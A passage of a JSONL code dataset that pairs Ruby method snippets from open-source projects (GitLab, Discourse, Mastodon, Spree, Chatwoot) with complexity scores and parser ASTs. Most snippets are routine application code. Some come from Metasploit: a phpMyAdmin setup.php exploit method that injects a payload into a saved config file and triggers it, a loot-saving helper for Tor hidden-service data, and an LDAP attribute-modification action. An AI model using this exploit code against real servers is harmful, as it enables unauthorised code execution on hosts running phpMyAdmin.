send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@organization\"]},\"save\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rate_limiter\"]},\"track_limit_by_action\",{\"type\":\"sym\",\"children\":[\"organization_creation\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@organization_membership\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OrganizationMembership\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@organization\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type_of_user\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"settings_notice\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"organizations_controller.created\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/settings/organization/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@organization\"]},\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"str\",\"children\":[\"users/edit\"]}]}]}]}]}]}]}","id":"880740e5-1c3c-4cc3-ae52-34618a2c2ce4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/linux/gather/tor_hiddenservices.rb","start_line":52,"raw_source":"def save(file, data, ltype, ctype = 'text/plain')\n    fname = ::File.basename(file)\n    loot = store_loot(ltype, ctype, session, data, fname)\n    print_status(\"#{fname} stored in #{loot}\")\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"save\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]},{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"arg\",\"children\":[\"ltype\"]},{\"type\":\"optarg\",\"children\":[\"ctype\",{\"type\":\"str\",\"children\":[\"text/plain\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fname\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"loot\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"lvar\",\"children\":[\"ltype\"]},{\"type\":\"lvar\",\"children\":[\"ctype\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"fname\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fname\"]}]},{\"type\":\"str\",\"children\":[\" stored in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loot\"]}]}]}]}]}]}","id":"e003d69a-23c0-4c57-baab-d99536b5c636"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/base_markdown_renderer.rb","start_line":23,"raw_source":"def parse_query_params(url)\n    parsed_url = URI.parse(url)\n    CGI.parse(parsed_url.query || '')\n  rescue URI::InvalidURIError\n    {}\n  end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_query_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parsed_url\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"parse\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_url\"]},\"query\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"InvalidURIError\"]}]},null,{\"type\":\"hash\",\"children\":[]}]},null]}]}","id":"c7c0ce0c-a192-41e5-8d49-1e08b4f4fcd5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/pipeline.rb","start_line":1058,"raw_source":"def build_with_artifacts_in_self_and_project_descendants(name)\n      builds_in_self_and_project_descendants\n        .ordered_by_pipeline # find job in hierarchical order\n        .with_downloadable_artifacts\n        .find_by_name(name)\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_with_artifacts_in_self_and_project_descendants\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"builds_in_self_and_project_descendants\"]},\"ordered_by_pipeline\"]},\"with_downloadable_artifacts\"]},\"find_by_name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}","id":"3e9171ad-7a91-4fc4-b3b1-53ec3dff1fd1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/auto_merge_service.rb","start_line":82,"raw_source":"def auto_merge_service_instance(merge_request, strategy)\n    strong_memoize_with(:auto_merge_service_instance, merge_request, strategy) do\n      self.class.get_service_class(strategy)&.new(project, current_user, params)\n    end\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"auto_merge_service_instance\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]},{\"type\":\"arg\",\"children\":[\"strategy\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize_with\",{\"type\":\"sym\",\"children\":[\"auto_merge_service_instance\"]},{\"type\":\"lvar\",\"children\":[\"merge_request\"]},{\"type\":\"lvar\",\"children\":[\"strategy\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"get_service_class\",{\"type\":\"lvar\",\"children\":[\"strategy\"]}]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"params\"]}]}]}]}","id":"e33b67ef-0356-413e-8975-a3120b0ab9f5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/views/pagination_shared_examples.rb","start_line":26,"raw_source":"def click_next_page(next_button_selector)\n    page.find(next_button_selector).click\n    wait_for_requests\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"click_next_page\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"next_button_selector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"next_button_selector\"]}]},\"click\"]},{\"type\":\"send\",\"children\":[null,\"wait_for_requests\"]}]}]}","id":"0e5e108c-e041-442d-8a36-c89c8bf7216b"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/helpers/admin/accounts_helper.rb","start_line":16,"raw_source":"def pending_user_count_label\n    number_with_delimiter User.pending.count\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"pending_user_count_label\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"number_with_delimiter\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"pending\"]},\"count\"]}]}]}","id":"00b2f3c8-b573-4964-8897-27de544a1677"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/method_call.rb","start_line":24,"raw_source":"def measure\n        start_real = System.monotonic_time\n        start_cpu = System.cpu_time\n        retval = yield\n\n        real_time = System.monotonic_time - start_real\n        cpu_time = System.cpu_time - start_cpu\n\n        @real_time += real_time\n        @cpu_time += cpu_time\n        @call_count += 1\n\n        if above_threshold? && transaction\n          label_keys = labels.keys\n          transaction.observe(:gitlab_method_call_duration_seconds, real_time, labels) do\n            docstring 'Method calls real duration'\n            label_keys label_keys\n            buckets [0.01, 0.05, 0.1, 0.5, 1]\n          end\n        end\n\n        retval\n      end","complexity_score":38.1,"ast_json":"{\"type\":\"def\",\"children\":[\"measure\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start_real\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"System\"]},\"monotonic_time\"]}]},{\"type\":\"lvasgn\",\"children\":[\"start_cpu\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"System\"]},\"cpu_time\"]}]},{\"type\":\"lvasgn\",\"children\":[\"retval\",{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"real_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"System\"]},\"monotonic_time\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"start_real\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cpu_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"System\"]},\"cpu_time\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"start_cpu\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@real_time\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"real_time\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@cpu_time\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"cpu_time\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@call_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"above_threshold?\"]},{\"type\":\"send\",\"children\":[null,\"transaction\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"label_keys\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"labels\"]},\"keys\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"transaction\"]},\"observe\",{\"type\":\"sym\",\"children\":[\"gitlab_method_call_duration_seconds\"]},{\"type\":\"lvar\",\"children\":[\"real_time\"]},{\"type\":\"send\",\"children\":[null,\"labels\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"docstring\",{\"type\":\"str\",\"children\":[\"Method calls real duration\"]}]},{\"type\":\"send\",\"children\":[null,\"label_keys\",{\"type\":\"lvar\",\"children\":[\"label_keys\"]}]},{\"type\":\"send\",\"children\":[null,\"buckets\",{\"type\":\"array\",\"children\":[{\"type\":\"float\",\"children\":[0.01]},{\"type\":\"float\",\"children\":[0.05]},{\"type\":\"float\",\"children\":[0.1]},{\"type\":\"float\",\"children\":[0.5]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"retval\"]}]}]}","id":"32a9b992-c7db-43e8-9ca8-f54035524991"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/custom_domain.rb","start_line":55,"raw_source":"def sanitize_url\n      self.url = url&.gsub(%r{https?://}, '')\n    end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"sanitize_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"url=\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"https?://\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"f853bf01-3934-4b66-a6de-bed9752c48c8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/visibility_level.rb","start_line":65,"raw_source":"def allowed_levels\n        restricted_levels = Gitlab::CurrentSettings.restricted_visibility_levels\n\n        self.values - Array(restricted_levels)\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_levels\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"restricted_levels\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"restricted_visibility_levels\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"values\"]},\"-\",{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"restricted_levels\"]}]}]}]}]}","id":"59ee46c8-b449-4377-b87a-25e86f095ec7"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/user_menu.rb","start_line":24,"raw_source":"def click_profile_tab\n        click_link(\"user-menu-button-profile\")\n        has_css?(\"#quick-access-profile\")\n        self\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"click_profile_tab\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_link\",{\"type\":\"str\",\"children\":[\"user-menu-button-profile\"]}]},{\"type\":\"send\",\"children\":[null,\"has_css?\",{\"type\":\"str\",\"children\":[\"#quick-access-profile\"]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"edfc3eb4-927b-4fb0-a0ca-41926e0a9355"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-assign/app/models/assignment.rb","start_line":103,"raw_source":"def validate_status\n    if SiteSetting.enable_assign_status && !Assignment.statuses.include?(self.status)\n      errors.add(:status, :invalid)\n    end\n  end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"enable_assign_status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Assignment\"]},\"statuses\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"status\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"invalid\"]}]},null]}]}","id":"f4052e21-f4ab-48ae-9cf8-caa6709d6b6e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/phpmyadmin_config.rb","start_line":76,"raw_source":"def exploit\n    # First, grab the session cookie and the CSRF token\n    print_status(\"Grabbing session cookie and CSRF token\")\n    uri = normalize_uri(datastore['URI'], \"/scripts/setup.php\")\n    response = send_request_raw({ 'uri' => uri })\n    if !response\n      fail_with(Failure::NotFound, \"Failed to retrieve hash, server may not be vulnerable.\")\n      return\n    end\n    if (response.body !~ /\"token\"\\s*value=\"([^\"]*)\"/)\n      fail_with(Failure::NotFound, \"Couldn't find token and can't continue without it. Is URI set correctly?\")\n      return\n    end\n    token = $1\n    cookie = response.get_cookies\n\n    # There is probably a great deal of randomization that can be done with\n    # this format.\n    config = \"a:1:{s:7:\\\"Servers\\\";a:1:{i:0;a:6:{s:#{payload.encoded.length + 13}:\\\"\"\n    config << \"host']='';\" + payload.encoded + \";//\"\n    config << '\";s:9:\"' + rand_text_alpha(9) + '\";s:9:\"extension\";s:6:\"mysqli\";s:12:\"connect_type\"'\n    config << ';s:3:\"tcp\";s:8:\"compress\";b:0;s:9:\"auth_type\";s:6:\"config\";s:4:\"user\";s:4:\"' + rand_text_alpha(4) + '\";}}}'\n\n    data = \"token=#{token}&action=save&configuration=\"\n    data << Rex::Text.uri_encode(config)\n    data << \"&eoltype=unix\"\n\n    # Now that we've got the cookie and token, send the evil\n    print_status(\"Sending save request\")\n    response = send_request_raw({\n      'uri'\t=> normalize_uri(datastore['URI'], \"/scripts/setup.php\"),\n      'method' => 'POST',\n      'data' => data,\n      'cookie' => cookie,\n      'headers' =>\n      {\n        'Content-Type'\t=> 'application/x-www-form-urlencoded',\n        'Content-Length' => data.length\n      }\n    }, 3)\n\n    print_status(\"Requesting our payload\")\n\n    # very short timeout because the request may never return if we're\n    # sending a socket payload\n    timeout = 0.1\n    response = send_request_raw({\n      # Allow findsock payloads to work\n      'global' => true,\n      'uri' => normalize_uri(datastore['URI'], \"/config/config.inc.php\")\n    }, timeout)\n\n    handler\n  end","complexity_score":64.15,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Grabbing session cookie and CSRF token\"]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URI\"]}]},{\"type\":\"str\",\"children\":[\"/scripts/setup.php\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotFound\"]},{\"type\":\"str\",\"children\":[\"Failed to retrieve hash, server may not be vulnerable.\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"token\\\"\\\\s*value=\\\"([^\\\"]*)\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotFound\"]},{\"type\":\"str\",\"children\":[\"Couldn't find token and can't continue without it. Is URI set correctly?\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"cookie\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"get_cookies\"]}]},{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"a:1:{s:7:\\\"Servers\\\";a:1:{i:0;a:6:{s:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},\"length\"]},\"+\",{\"type\":\"int\",\"children\":[13]}]}]},{\"type\":\"str\",\"children\":[\":\\\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"host']='';\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},\"+\",{\"type\":\"str\",\"children\":[\";//\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\";s:9:\\\"\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[9]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\\";s:9:\\\"extension\\\";s:6:\\\"mysqli\\\";s:12:\\\"connect_type\\\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\";s:3:\\\"tcp\\\";s:8:\\\"compress\\\";b:0;s:9:\\\"auth_type\\\";s:6:\\\"config\\\";s:4:\\\"user\\\";s:4:\\\"\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[4]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\\";}}}\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"token=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]}]},{\"type\":\"str\",\"children\":[\"&action=save&configuration=\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"uri_encode\",{\"type\":\"lvar\",\"children\":[\"config\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"str\",\"children\":[\"&eoltype=unix\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending save request\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URI\"]}]},{\"type\":\"str\",\"children\":[\"/scripts/setup.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"cookie\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/x-www-form-urlencoded\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Length\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]}]}]}]}]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Requesting our payload\"]}]},{\"type\":\"lvasgn\",\"children\":[\"timeout\",{\"type\":\"float\",\"children\":[0.1]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"global\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URI\"]}]},{\"type\":\"str\",\"children\":[\"/config/config.inc.php\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"timeout\"]}]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]}]}]}","id":"419d0397-cf8c-4ff9-873e-3e98565a413d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/mergeability/check_commits_status_service.rb","start_line":9,"raw_source":"def execute\n        if merge_request.has_no_commits? || merge_request.branch_missing?\n          failure\n        else\n          success\n        end\n      end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"has_no_commits?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"branch_missing?\"]}]},{\"type\":\"send\",\"children\":[null,\"failure\"]},{\"type\":\"send\",\"children\":[null,\"success\"]}]}]}","id":"fd0692ad-06a3-49e1-b213-775c3daedd97"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/post_jobs_enqueuer.rb","start_line":36,"raw_source":"def feature_topic_users\n    Jobs.enqueue(:feature_topic_users, topic_id: @topic.id)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"feature_topic_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"enqueue\",{\"type\":\"sym\",\"children\":[\"feature_topic_users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@topic\"]},\"id\"]}]}]}]}]}","id":"8d35108d-143f-4c3d-b1e8-94ba5c64db28"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/properties_controller.rb","start_line":33,"raw_source":"def permitted_resource_params\n        params.require(:property).permit(permitted_property_attributes)\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"permitted_resource_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"property\"]}]},\"permit\",{\"type\":\"send\",\"children\":[null,\"permitted_property_attributes\"]}]}]}","id":"de4df670-4721-4938-a811-cd0c2390c0a1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/ldap/ldap_object_attribute.rb","start_line":92,"raw_source":"def action_update\n    target_object = find_target_object\n    target_dn = target_object['dN'].first\n    attribute = datastore['ATTRIBUTE'].to_sym\n    original_value = target_object[attribute]&.first\n    print_status(\"Current value of #{datastore['OBJECT']}'s #{datastore['ATTRIBUTE']}: #{original_value}\")\n\n    ops = [[:replace, attribute, datastore['VALUE']]]\n\n    print_status(\"Attempting to update #{datastore['ATTRIBUTE']} for #{target_dn} to #{datastore['VALUE']}...\")\n    @ldap.modify(dn: target_dn, operations: ops)\n    validate_query_result!(@ldap.get_operation_result.table)\n\n    print_good(\"Successfully updated #{target_dn}'s #{datastore['ATTRIBUTE']} to #{datastore['VALUE']}\")\n    original_value\n  